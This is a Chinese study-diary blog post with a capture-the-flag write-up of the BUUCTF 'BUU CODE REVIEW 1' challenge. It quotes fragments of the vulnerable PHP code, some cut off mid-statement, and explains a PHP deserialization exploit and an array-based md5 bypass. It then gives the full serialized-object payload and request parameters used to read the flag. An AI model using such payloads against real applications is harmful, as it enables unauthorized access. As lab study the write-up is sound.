2021/10/11-学习日记

1.BUUCTF刷题-BUU CODE REVIEW 1

1.BUU CODE REVIEW 1

代码审计题,利用反序列化漏洞。

反序列化漏洞:

推荐博客

代码分析:

correct = base64_encode(uniqid());  //correct=base64_encode(uniqid()),uniqid()的功能是生成一个唯一的id
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");  //判断correct和input是否为强相等,若是,打印"/flag"文件
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
//这个判断语句的意思是md51和md52的值相同但类型不同
            unserialize($_POST['obj']);  //将serialize()函数序列化后的对象进行反序列化
        }
    }
}

想要得到flag,就得运行析构函数。这一点利用反序列漏洞可以做到。反序列函数前的三个判断,通过提交数据,以及MD5绕过可以通过。
MD5绕过介绍博客
首先构造利用反序列漏洞要用到的py程序,这个程序应包含以下内容:1.创建一个BUU类的对象;2.类中的correct和input强相等;3.进行序列化。

input = &$obj->correct;  
echo serialize($obj);
?>

得到结果

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

最后提交payload,获取flag。

$_GET=?pleaseget=1
$_POST=pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

今天有点摸鱼了:(
明天争取多搞点内容。

你可能感兴趣的:(2021/10/11-学习日记)